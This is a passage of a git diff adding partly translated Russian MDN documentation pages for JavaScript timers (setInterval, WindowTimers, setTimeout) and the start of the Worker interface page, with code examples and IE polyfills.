+ <dd>The function that is repeatedly invoked (read/write). It is called with three arguments: <em>index</em> (the iterative index of each invocation), <em>length</em> (the number of total invocations assigned to the daemon - finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) and backwards (a boolean expressing whether the <em>index</em> is decreasing or not) – see above. If the <code>myDaemon.task</code> function returns a <code>false</code> value the <em>daemon</em> is paused.</dd>
+ <dt><code>myDaemon.rate</code></dt>
+ <dd>Промежуток времени (в миллисекундах) между каждым вызовом (чтение / запись).</dd>
+ <dt><code>myDaemon.length</code></dt>
+ <dd>Итоговое количество вызовов. Это может быть положительное целое число или бесконечность <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> (чтение / запись).</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_methods"><code>MiniDaemon</code> instances methods</h4>
+
+<dl>
+ <dt><code>myDaemon.isAtEnd()</code></dt>
+ <dd>Возвращает логическое значение (true или false), в зависимости от того, находится ли <em>daemon</em> в начальной / конечной позиции или нет.  </dd>
+ <dt><code>myDaemon.synchronize()</code></dt>
+ <dd>Synchronize the timer of a started daemon with the time of its invocation.</dd>
+ <dt><code>myDaemon.pause()</code></dt>
+ <dd>Pauses the daemon.</dd>
+ <dt><code>myDaemon.start([<em>reverse</em>])</code></dt>
+ <dd>Starts the daemon forward (<em>index</em> of each invocation increasing) or backwards (<em>index</em> decreasing).</dd>
+</dl>
+
+<h4 id="MiniDaemon_global_object_methods"><code>MiniDaemon</code> global object methods</h4>
+
+<dl>
+ <dt><code>MiniDaemon.forceCall(<em>minidaemon</em>)</code></dt>
+ <dd>Forces a single callback to the <code><em>minidaemon</em>.task</code> function regardless of the fact that the end has been reached or not. In any case the internal <code>INDEX</code> property is increased/decreased (depending on the actual direction of the process).</dd>
+</dl>
+
+<h3 id="Пример_использования">Пример использования</h3>
+
+<p>Ваша HTML страница:</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;MiniDaemin Example - MDN&lt;/title&gt;
+  &lt;script type="text/javascript" src="minidaemon.js"&gt;&lt;/script&gt;
+  &lt;style type="text/css"&gt;
+    #sample_div {
+      visibility: hidden;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;p&gt;
+    &lt;input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" /&gt;
+    &lt;input type="button" onclick="fadeInOut.start(true);" value="fade out"&gt;
+    &lt;input type="button" onclick="fadeInOut.pause();" value="pause" /&gt;
+  &lt;/p&gt;
+
+  &lt;div id="sample_div"&gt;Some text here&lt;/div&gt;
+
+  &lt;script type="text/javascript"&gt;
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3995/minidaemon_example.html" title="MiniDaemon Example">View this example in action</a></p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>The <code>setInterval()</code> function is commonly used to set a delay for functions that are executed again and again, such as animations.</p>
+
+<p>You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.</p>
+
+<p>If you wish to have your function called <em>once</em> after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</p>
+
+<h3 id="Ensure_that_execution_duration_is_shorter_than_interval_frequency">Ensure that execution duration is shorter than interval frequency</h3>
+
+<p>If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using <code>setInterval</code> to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.</p>
+
+<p>In these cases, a recursive <code>setTimeout()</code> pattern is preferred:</p>
+
+<pre class="brush:js notranslate">(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+</pre>
+
+<p>In the above snippet, a named function <code>loop()</code> is declared and is immediately executed. <code>loop()</code> is recursively called inside <code>setTimeout()</code> after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.</p>
+
+<h3 id="Throttling_of_intervals">Throttling of intervals</h3>
+
+<p><code>setInterval()</code> is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout#Reasons_for_delays_longer_than_specified">Reasons for delays longer than specified</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition (DOM Level 0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers">JavaScript timers</a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
+
+<div id="simple-translate">
+<div>
+<div class="simple-translate-button isShow" style="height: 22px; width: 22px; top: 1554px; left: 525px;"></div>
+
+<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);">
+<div class="simple-translate-result-wrapper" style="overflow: hidden;">
+<div class="simple-translate-move"></div>
+
+<div class="simple-translate-result-contents">
+<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p>
+
+<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p>
+</div>
+</div>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/api/windowtimers/index.html b/files/ru/web/api/windowtimers/index.html
new file mode 100644
index 0000000000..d54cc1b3e5
--- /dev/null
+++ b/files/ru/web/api/windowtimers/index.html
@@ -0,0 +1,119 @@
+---
+title: WindowTimers
+slug: Web/API/WindowTimers
+tags:
+  - API
+  - HTML DOM
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>WindowTimers</strong></code> contains utility methods to set and clear timers.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface do not define any property, nor inherit any.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface do not inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules the execution of a function each X milliseconds.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Sets a delay for executing a function.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowtimers", "WindowTimers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windowtimers/settimeout/index.html b/files/ru/web/api/windowtimers/settimeout/index.html
new file mode 100644
index 0000000000..9e39020215
--- /dev/null
+++ b/files/ru/web/api/windowtimers/settimeout/index.html
@@ -0,0 +1,260 @@
+---
+title: WindowTimers.setTimeout()
+slug: Web/API/WindowTimers/setTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<div>{{ APIRef() }}</div>
+
+<h2 id="Summary" name="Summary">Краткое изложение</h2>
+
+<p>Вызов функции или выполнение фрагмента кода после указанной задержки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>var timeoutID</em> = window.setTimeout(<em>func</em>, [, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]);
+<em>var timeoutID</em> = window.setTimeout(<em>code </em>[, <em>delay]</em>);
+</pre>
+
+<p>где</p>
+
+<ul>
+ <li><code>timeoutID -</code> это <em>числовой</em> ID, который может быть использован позже с {{domxref("window.clearTimeout()")}}.</li>
+ <li><code>func -</code> это <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function">функция</a>, которую требуется вызвать после <code>delay</code> миллисекунд.</li>
+ <li><code>code</code> - в альтернативном варианте применения это строка, содержащая код, который вы хотите выполнить после <code>delay</code> миллисекунд (использовать этот метод <strong>не рекомендуется</strong> по тем же причинам, что и <a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don%27t_use_eval!" title="en-US/docs/Core JavaScript 1.5 Reference/Global Functions/Eval#Don't use eval!">eval()</a>)</li>
+ <li><code>delay</code>  {{optional_inline}} -  задержка в миллисекундах (тысячных долях секунды), после которой будет выполнен вызов функции. Реальная задержка может быть больше; см. {{anch("Notes")}} ниже.</li>
+</ul>
+
+<p>Необходимо принять во внимание, что передача дополнительных параметров функции в первом варианте не работает в Internet Explorer 9 и ниже. Для использования этого функционала в таких браузерах, необходимо использовать код для совместимости (см. раздел <a href="#Аргументы_функции_обратного_вызова">Аргументы функции обратного вызова</a>).</p>
+
+<div class="warning"><strong>Important:</strong> Prior to Gecko 13 {{ geckoRelease("13.0") }}, Gecko passed an extra parameter to the callback routine, indicating the "actual lateness" of the timeout in milliseconds. This non-standard parameter is no longer passed.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Live Example&lt;/p&gt;
+&lt;button onclick="delayedAlert();"&gt;Show an alert box after two seconds&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button onclick="clearAlert();"&gt;Cancel alert before it happens&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js notranslate">var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<p>Смотрите также <a href="/en-US/docs/DOM/window.clearTimeout#Example" title="en-US/docs/DOM/window.clearTimeout#Example"><code>пример clearTimeout()</code></a>.</p>
+
+<h2 id="Аргументы_функции_обратного_вызова">Аргументы функции обратного вызова</h2>
+
+<p>Если вам нужно передать аргумент в вашу callback функцию, но нужно, чтобы это работало в Internet Explorer 9 и ниже, который не поддерживает передачу дополнительных параметров (ни с <code>setTimeout()</code> или <code>setInterval()</code>), то вы можете прописать специальный код для <em>совместимости с IE, </em><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>вставив этот код в начало ваших скриптов</span></span></span>, <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>который включит функцию передачи стандартных параметров HTML5 в </span></span></span>Internet Explorer<span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span> для обоих таймеров</span></span></span>.</p>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  IE-specific polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay, [param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<h2 id="Правка_только_для_IE">Правка только для IE</h2>
+
+<p>If you want a completely unobtrusive hack for every other mobile or desktop browser, including IE 9 and below, you can either use JavaScript conditional comments:</p>
+
+<pre class="brush: js notranslate">/*@cc_on
+  // conditional IE &lt; 9 only fix
+  @if (@_jscript_version &lt;= 6)
+  (function(f){
+     window.setTimeout =f(window.setTimeout);
+     window.setInterval =f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}});
+  @end
+@*/
+</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Или используйте очень чистый подход, основанный на условном свойстве IE HTML</span></span></span>:</p>
+
+<pre class="brush: html notranslate">&lt;!--[if lte IE 9]&gt;&lt;script&gt;
+(function(f){
+window.setTimeout =f(window.setTimeout);
+window.setInterval =f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}
+});
+&lt;/script&gt;&lt;![endif]--&gt;
+</pre>
+
+<p>Another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive. Example:</p>
+
+<pre class="brush: js notranslate">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+</pre>
+
+<p>Yet another possibility is to use <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p>
+
+<pre class="brush: js notranslate">setTimeout(function(arg1){}.bind(undefined, 10));
+</pre>
+
+<h2 id="Проблема_с_this">Проблема с "<code>this</code>"</h2>
+
+<p>Когда вы передаете метод в <code>setTimeout()</code> (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением <code>this</code>. Эта проблема разъясняется детально в <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p>
+
+<h3 id="Объяснение">Объяснение</h3>
+
+<p>Code executed by <code>setTimeout()</code> is run in a separate execution context to the function from which it was called. As a consequence, the <code>this</code> keyword for the called function will be set to the <code>window</code> (or <code>global</code>) object; it will not be the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example:</p>
+
+<pre class="brush: js notranslate">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+// let's try to pass the 'this' object
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Как видите, нет способов передать объект</span></span></span> <code>this</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>в функцию обратного вызова.</span></span></span>.</p>
+
+<h3 id="Возможное_решение">Возможное решение</h3>
+
+<p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones which will enable their invocation through the <a href="en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p>
+
+<pre class="brush: js notranslate">// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note"><strong>Note:</strong> These two replacements will also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as polyfills also. See the <a href="#Аргументы_функции_обратного_вызова">Callback arguments</a> paragraph.</div>
+
+<p>Новая тестируемая особенность:</p>
+
+<pre class="brush: js notranslate">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+</pre>
+
+<p>Это не нативные решения <em>ad hoc</em> для этой проблемы.</p>
+
+<div class="note"><strong>Note:</strong> JavaScript 1.8.5 introduces the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/docs/JavaScript/Reference/Global Objects/Function/bind">Function.prototype.bind()</a></code> method, which lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called.</div>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Отложенное выполнение кода можно отменить, используя <code><a href="/en-US/docs/DOM/window.clearTimeout" title="en-US/docs/DOM/window.clearTimeout">window.clearTimeout()</a></code>. Если функция должна вызываться неоднократно (например, каждые N миллисекунд), необходимо использовать <code><a href="/en-US/docs/DOM/window.setInterval" title="en-US/docs/DOM/window.setInterval">window.setInterval()</a></code>.</p>
+
+<p>Важно заметить, что функция или код не могут быть выполнены, пока не завершится поток, вызвавший <code>setTimeout()</code>.</p>
+
+<h3 id="Passing_string_literals">Passing string literals</h3>
+
+<p>Передача строки вместо функции в <code>setTimeout()</code> сопряжена с теми же опасностями, что и использование <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/eval">eval</a>. </code></p>
+
+<pre class="brush: js notranslate">// Правильно
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// Неправильно
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+</pre>
+
+<p>String literals are evaluated in the global context, so local symbols in the context where <code>setTimeout()</code> was called will not be available when the string is evaluated as code.</p>
+
+<h3 id="Минимальная_максимальная_задержка_и_вложенность_таймаута"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Минимальная/ максимальная задержка и вложенность таймаута</span></span></span></h3>
+
+<p><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=792#c10" title="http://code.google.com/p/chromium/issues/detail?id=792#c10">Historically</a> browsers implement <code>setTimeout()</code> "clamping": successive <code>setTimeout()</code> calls with <code>delay</code> smaller than the "minimum delay" limit are forced to use at least the minimum delay. The minimum delay, <code>DOM_MIN_TIMEOUT_VALUE</code>, is 4 ms (stored in a preference in Firefox: <code>dom.min_timeout_value</code>), with a <code>DOM_CLAMP_TIMEOUT_NESTING_LEVEL</code> of 5ms.</p>
+
+<p>In fact, 4ms is <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#timers">specified by the HTML5 spec</a> and is consistent across browsers released in 2010 and onward. Prior to {{ geckoRelease("5.0") }}, the minimum timeout value for nested timeouts was 10 ms.</p>
+
+<p>In addition to "clamping", the timeout can also fire later when the page (or the OS/browser itself) is busy with other tasks.</p>
+
+<p>To implement a 0 ms timeout in a modern browser, you can use {{ domxref("window.postMessage()") }} as <a class="external" href="http://dbaron.org/log/20100309-faster-timeouts" title="http://dbaron.org/log/20100309-faster-timeouts">described here</a>.</p>
+
+<p>Browsers including Internet Explorer, Chrome, Safari, and Firefox store the delay as a 32-bit signed Integer internally. This causes an Integer overflow when using delays larger than 2147483647, resulting in the timeout being executed immediately.</p>
+
+<h4 id="Неактивные_вкладки">Неактивные вкладки</h4>
+
+<p>In {{ geckoRelease("5.0") }} and Chrome 11, timeouts are clamped to firing no more often than once per second (1000ms) in inactive tabs; see {{ bug(633421) }} for more information about this in Mozilla or <a class="external" href="http://crbug.com/66078" title="http://crbug.com/66078">crbug.com/66078</a> for details about this in Chrome.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Part of DOM level 0, as specified in <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#timers" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#timers">HTML5</a>.</p>
+
+<h2 id="See_also" name="See_also">Также интересно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm</a></li>
+ <li>{{domxref("window.setInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/ru/web/api/worker/index.html b/files/ru/web/api/worker/index.html
new file mode 100644
index 0000000000..6ccf2b1341
--- /dev/null
+++ b/files/ru/web/api/worker/index.html
@@ -0,0 +1,145 @@
+---
+title: Worker
+slug: Web/API/Worker
+translation_of: Web/API/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>Интерфейс <strong><code>Worker</code></strong> из <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> является представителем фоновой задачи, которая легко может быть создана и может передавать сообщения обратно создателю. Создание worker  - это вызов конструктора <code>Worker()</code> и задание скрипта, выполняемого в потоке worker.</p>
+
+<p>Workers могут, в свою очередь, порождать новые workers, если эти workers расположены в одном каталоге с родительской страницей (Примечание: вложенные workers в настоящее время <a href="https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/5R3B4RN4GHU">не поддерживаются в Blink</a>).  Кроме того, workers могут использовать <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> для network I/O, при условии, что атрибуты <code>responseXML</code> и <code>channel</code> <code>XMLHttpRequest</code> всегда возвращают<code> null</code>.</p>
+
+<p>Не <a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">все интерфейсы и функции могут быть использованы</a> в скрипте, ассоциированном с <code>Worker</code>.</p>
+
+<p>В Firefox, если вы хотите использовать workers в расширениях и хотели бы иметь доступ к <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a>, вам нужно использовать объект {{ domxref("ChromeWorker") }}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("EventTarget")}}, и поддерживает свойства из {{domxref("AbstractWorker")}}.</em></p>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>{{ domxref("EventListener") }} вызываемый каждый раз, когда из воркера приходит {{domxref("ErrorEvent")}} с типом <code>error</code>. Это событие унаследовано от {{domxref("AbstractWorker")}}.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd>{{ domxref("EventListener") }} вызываемый каждый раз, когда из воркера приходит {{domxref("MessageEvent")}} с типом <code>message</code> — то есть когда сообщение было отправлено воркером в родительский документ с помощью {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. Сообщение передаётся в свойстве объекта события {{domxref("MessageEvent.data", "data")}}.</dd>
+</dl>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>Создаёт dedicated web worker, выполняющий скрипт, расположенный по указаному URL. Воркеры также могут быть созданы с использованием <a href="/en-US/docs/Web/API/Blob">Blobs</a>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы своего родителя, {{domxref("EventTarget")}}, а также реализует методы {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>Отправляет сообщение — которое может являться <code>любым</code> JavaScript объектом — во внутреннюю область видимости воркера.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
